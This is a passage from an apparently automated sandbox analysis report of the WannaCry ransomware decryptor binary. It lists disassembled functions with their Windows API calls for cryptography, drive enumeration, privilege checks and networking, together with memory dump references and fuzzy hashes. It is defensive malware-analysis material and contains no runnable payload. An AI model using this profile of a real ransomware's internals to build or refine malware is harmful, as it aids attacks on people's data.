                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: File$CreateSize_local_unwind2
                                        • String ID:
                                        • API String ID: 1039228802-0
                                        • Opcode ID: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                        • Instruction ID: 027920ce5e1762b5ae47f20262b5a931ea28e629a989eecbafe96ff87ad0b853
                                        • Opcode Fuzzy Hash: 90535d59a0f2dbe90f1bf53ea38d3d76a54ffae39caaa8181d17ff2389417ade
                                        • Instruction Fuzzy Hash: 723153B1A40219BBDB10DF98DC84FFFB6ACE789771F14472AF525A22C0D33859018B68
                                        Function 00406C20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • GetUserDefaultLangID.KERNEL32 ref: 00406C3B
                                        • GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
                                        • SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
                                        • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
                                        • SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4
                                          • Part of subcall function 00406AE0: #540.MFC42(?,776120C0), ref: 00406B03
                                          • Part of subcall function 00406AE0: #3874.MFC42 ref: 00406B1B
                                          • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B29
                                          • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
                                          • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406B59
                                          • Part of subcall function 00406AE0: #800.MFC42(?,?,776120C0), ref: 00406B62
                                          • Part of subcall function 00406AE0: #800.MFC42 ref: 00406B73
                                          • Part of subcall function 00406AE0: GetFileAttributesA.KERNEL32(?), ref: 00406B7D
                                          • Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B91
                                          • Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
                                          • Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406BBB
                                          • Part of subcall function 00406AE0: #800.MFC42(?,?,?,?,?,776120C0), ref: 00406BC4
                                          • Part of subcall function 00406AE0: #800.MFC42 ref: 00406BD5
                                          • Part of subcall function 00406AE0: #800.MFC42(?), ref: 00406BF5
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #800$MessageSend$#537#924sprintf$#3874#540AttributesDefaultFileInfoLangLocaleUser
                                        • String ID: English
                                        • API String ID: 600832625-3812506524
                                        • Opcode ID: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                        • Instruction ID: 12cb8a10269d81aa60d086da51d7e65d8080bc449a50ca3d57c6290c1d86febe
                                        • Opcode Fuzzy Hash: 98bbcc99f84d21185ee3b515649f036d805e480a8587630640b34afead2fff3e
                                        • Instruction Fuzzy Hash: F911D3717402006BEB149634DC42BAB7795EBD4720F54863EFE5AEB2D0D9F8A8098794
                                        Function 0040A150 Relevance: 9.4, APIs: 6, Instructions: 375COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                        • Instruction ID: fb0ef9a6f766abd1277d4fb3e7775c965cb771230ee66441beda5a672c207522
                                        • Opcode Fuzzy Hash: 1e118166748c2516ccf34b16e56ce24d223970c5c76bb6d30bfc94f2d512404d
                                        • Instruction Fuzzy Hash: 57E1E4716043458BD718CF29C4906AAB7E2BFCC308F09857EE889EB355DB34D941CB5A
                                        Function 00403A20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON
                                        Download Yara Rule
                                        APIs
                                        • GetLogicalDrives.KERNEL32 ref: 00403A35
                                        • GetDriveTypeW.KERNEL32 ref: 00403A7A
                                        • GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: DiskDriveDrivesFreeLogicalSpaceType
                                        • String ID: : $\
                                        • API String ID: 222820107-856521285
                                        • Opcode ID: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                        • Instruction ID: 7a2fb974cbacd17fa61847377d7cab912bc040039a87a27a6beb81165ce83d4b
                                        • Opcode Fuzzy Hash: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                        • Instruction Fuzzy Hash: 2D116D31614301ABD315DF15D884AABBBE8FBC8710F04882EF88597290E775E948CB9A
                                        Function 0040D300 Relevance: 6.2, APIs: 4, Instructions: 159COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: c8f85ea80c3b6b8e9e311ac575965a537163168bbe12e9f95371609f99db3755
                                        • Instruction ID: 8719850658187d05665d4daca0cd16b7f92190a52f2d7545724c4cd71ae93cac
                                        • Opcode Fuzzy Hash: c8f85ea80c3b6b8e9e311ac575965a537163168bbe12e9f95371609f99db3755
                                        • Instruction Fuzzy Hash: 7A41D7B2B042044BC724DE6898506BFB7D5EBD4314F40093FF946A3381DA79ED4D869A
                                        Function 00404AF0 Relevance: 6.1, APIs: 4, Instructions: 51encryptionCOMMON
                                        Download Yara Rule
                                        APIs
                                        • EnterCriticalSection.KERNEL32(00000014,00000000,00000000,00000000,0040234D,?,00000100,?,?), ref: 00404B08
                                        • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,?,?), ref: 00404B22
                                        • LeaveCriticalSection.KERNEL32(00000014), ref: 00404B2D
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: CriticalSection$CryptDecryptEnterLeave
                                        • String ID:
                                        • API String ID: 1395129968-0
                                        • Opcode ID: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                        • Instruction ID: c9397fa3391ecaa6db63de0f595bcff8412a7be4ee2956e3e45acdf047351e7f
                                        • Opcode Fuzzy Hash: d5df251600a2380ab54480b0f3f02b47ff305855cea17aa335da23d14111fa1b
                                        • Instruction Fuzzy Hash: 15017C323002049BD714CE65E888BAB77A9FBC9721F44883AFA42D7281D7B0E809C671
                                        Function 0040BED0 Relevance: 4.6, APIs: 3, Instructions: 108COMMON
                                        Download Yara Rule
                                        APIs
                                        • #823.MFC42(0000002C), ref: 0040BF0C
                                        • GetComputerNameA.KERNEL32(?,?), ref: 0040BFB9
                                        • GetUserNameA.ADVAPI32 ref: 0040BFF5
                                          • Part of subcall function 0040DC00: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040DC9E
                                          • Part of subcall function 0040DC00: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040DCAD
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Name$#823??0exception@@ComputerExceptionThrowUser
                                        • String ID:
                                        • API String ID: 2582426243-0
                                        • Opcode ID: 44988b8c73596cb4ce5403cc835a1eb2a18cb9790df955dbb5df7c2dc182c092
                                        • Instruction ID: 83e3db62829b85d845063e2f81586b9f479c5ffe1e9c48acb6c19853c4e1520f
                                        • Opcode Fuzzy Hash: 44988b8c73596cb4ce5403cc835a1eb2a18cb9790df955dbb5df7c2dc182c092
                                        • Instruction Fuzzy Hash: 8541C2706087829BD720DF64D854BAB7BE4EBC8710F004A3DF599933D0DB789508CB9A
                                        Function 0040D4C0 Relevance: 4.6, APIs: 3, Instructions: 93COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 5e68fbcf5b22235d79db144bb8702833b1e0f7456deab8b0abe335e8fb721804
                                        • Instruction ID: 4ffb44c4908fbcdbada2a4de5981d2af022f8853c63cab2f762cb5961de049d3
                                        • Opcode Fuzzy Hash: 5e68fbcf5b22235d79db144bb8702833b1e0f7456deab8b0abe335e8fb721804
                                        • Instruction Fuzzy Hash: B121B172B042016FC314DF99AC84C6BB399EBD8358B104A3FF946D7381DA35DC09879A
                                        Function 00401BB0 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON
                                        Download Yara Rule
                                        APIs
                                        • AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401BEC
                                        • CheckTokenMembership.ADVAPI32(00000000,?,?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 00401C06
                                        • FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401C19
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: AllocateCheckFreeInitializeMembershipToken
                                        • String ID:
                                        • API String ID: 3429775523-0
                                        • Opcode ID: a7a265a1dd536a0e0eab8576597306744b18f24eaa9b8ffe7a6d4444507be078
                                        • Instruction ID: 94521974df2238a1dc1099b42d01a28c9688a26bfb2bc835d8f4af5c6999d558
                                        • Opcode Fuzzy Hash: a7a265a1dd536a0e0eab8576597306744b18f24eaa9b8ffe7a6d4444507be078
                                        • Instruction Fuzzy Hash: 3E012C71148380BFE340DB6888C4AABBFE8EBD4704FC4985DF58543252D234D848DB6B
                                        Function 00404770 Relevance: 4.5, APIs: 3, Instructions: 24encryptionCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 0040477B
                                        • CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 00404790
                                        • CryptReleaseContext.ADVAPI32(FFFFFFFF,00000000,?,004049AD,00404990), ref: 004047A7
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Crypt$Destroy$ContextRelease
                                        • String ID:
                                        • API String ID: 1308222791-0
                                        • Opcode ID: 12ad5d49cc2128f0860c2128d2759e128a7075486b136358530e399bbd2bca92
                                        • Instruction ID: 61d89c14c75fb5affeedc9811425020a0caf5e5d08399d1baa26ca37d3ca979d
                                        • Opcode Fuzzy Hash: 12ad5d49cc2128f0860c2128d2759e128a7075486b136358530e399bbd2bca92
                                        • Instruction Fuzzy Hash: 22E0EDB03007018BD7309F65D888B4377E8AF84714F04882DF85AE77D0C778E8408B54
                                        Function 0040A9D0 Relevance: 3.3, APIs: 2, Instructions: 315COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040A9EA
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A9FA
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: 3b2a473cc84b9c7d4a547ef160aa3472c07a9cc6d6db5064c85298185bfba711
                                        • Instruction ID: 04248197bcb1574b3d90ae1a3c7ae13e194e7d8d0e6a6b40a3143ad68c5bfd1a
                                        • Opcode Fuzzy Hash: 3b2a473cc84b9c7d4a547ef160aa3472c07a9cc6d6db5064c85298185bfba711
                                        • Instruction Fuzzy Hash: 0AC18E3260C3D14FD305CF7994A41ABBFE2AF9E300F9E98ADE5D98B312C5609505CB99
                                        Function 0040A610 Relevance: 3.3, APIs: 2, Instructions: 308COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040A62A
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A63A
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: 54df54d15dbdb5da3c1e43968a1bcec609f58f276c7696173b96fc0568058aab
                                        • Instruction ID: 24c55d493b92f0f745426086bc8efec80d3c09ac131e354686a8208b9adac079
                                        • Opcode Fuzzy Hash: 54df54d15dbdb5da3c1e43968a1bcec609f58f276c7696173b96fc0568058aab
                                        • Instruction Fuzzy Hash: CFC15B2260C2C24BD705CF7998E04EBFFE3AF9E204B4E95A9D5C99B322C5719409C799
                                        Function 0040B0C0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B0D9
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B0E9
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: c6e345f075c5c38347d25a9e792861e5e46be767ff3c74cb7ef541de985aba14
                                        • Instruction ID: 635c181c6a855438023d43a1e61ad1cbf7521d36b86b6127b0536a3f97539009
                                        • Opcode Fuzzy Hash: c6e345f075c5c38347d25a9e792861e5e46be767ff3c74cb7ef541de985aba14
                                        • Instruction Fuzzy Hash: 5F91AE756083858FC718CF28D8906AABBE2FFC9304F14487EE989D7351D634A945CB99
                                        Function 0040ADC0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040ADD9
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040ADE9
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: e2a5344183224385ce8cc6f64ef416fa8b7c135a3dae7c4b4300b22148696450
                                        • Instruction ID: 9bf03c186ab60868eb4058f96665f2b4dca6c7ab88ed953fee9cff2198bbc34e
                                        • Opcode Fuzzy Hash: e2a5344183224385ce8cc6f64ef416fa8b7c135a3dae7c4b4300b22148696450
                                        • Instruction Fuzzy Hash: D691BE756083858FC718CF28D8805AABBE2FFC9308F14487EE989D7351C634E956CB99
                                        Function 004046F0 Relevance: 1.5, APIs: 1, Instructions: 46encryptionCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                        • CryptImportKey.ADVAPI32(?,00420794,00000494,00000000,00000000,?,?,00402031,?), ref: 00404727
                                          • Part of subcall function 00404770: CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 0040477B
                                          • Part of subcall function 00404770: CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 00404790
                                          • Part of subcall function 00404770: CryptReleaseContext.ADVAPI32(FFFFFFFF,00000000,?,004049AD,00404990), ref: 004047A7
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Crypt$ContextDestroy$AcquireImportRelease
                                        • String ID:
                                        • API String ID: 3621138593-0
                                        • Opcode ID: 9403bbdd090a9753ee064b817ff4eb55f6c4c80258570a396feff9da41e395ed
                                        • Instruction ID: d4e90e0c2f988709a992e7d604814048f9cd1a1bd42c9a5a50fcd20aee9fd3f8
                                        • Opcode Fuzzy Hash: 9403bbdd090a9753ee064b817ff4eb55f6c4c80258570a396feff9da41e395ed
                                        • Instruction Fuzzy Hash: 5DF019F130425156E660E675A942F9B62998BE1B08F00483BF605E72D1EB78EC42829C
                                        Function 004046B0 Relevance: 1.5, APIs: 1, Instructions: 26encryptionCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: AcquireContextCrypt
                                        • String ID:
                                        • API String ID: 3951991833-0
                                        • Opcode ID: bfca8852325fc6aa5ed2ff2f6e8500fcc0a6d4c389fe5d637677a2daa5e65efa
                                        • Instruction ID: 312dc029323720c7b5bb6801e757edcf2da9b650c6ce32f76f805a45e944d122
                                        • Opcode Fuzzy Hash: bfca8852325fc6aa5ed2ff2f6e8500fcc0a6d4c389fe5d637677a2daa5e65efa
                                        • Instruction Fuzzy Hash: 63E0C27B35003029E320042ABC05BE786C8D7E2B61F014436FD05E6184D1598C8780D8
                                        Function 0040DB80 Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON
                                        Download Yara Rule
                                        APIs
                                        • recv.WS2_32(?,?,?,00000000), ref: 0040DB91
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
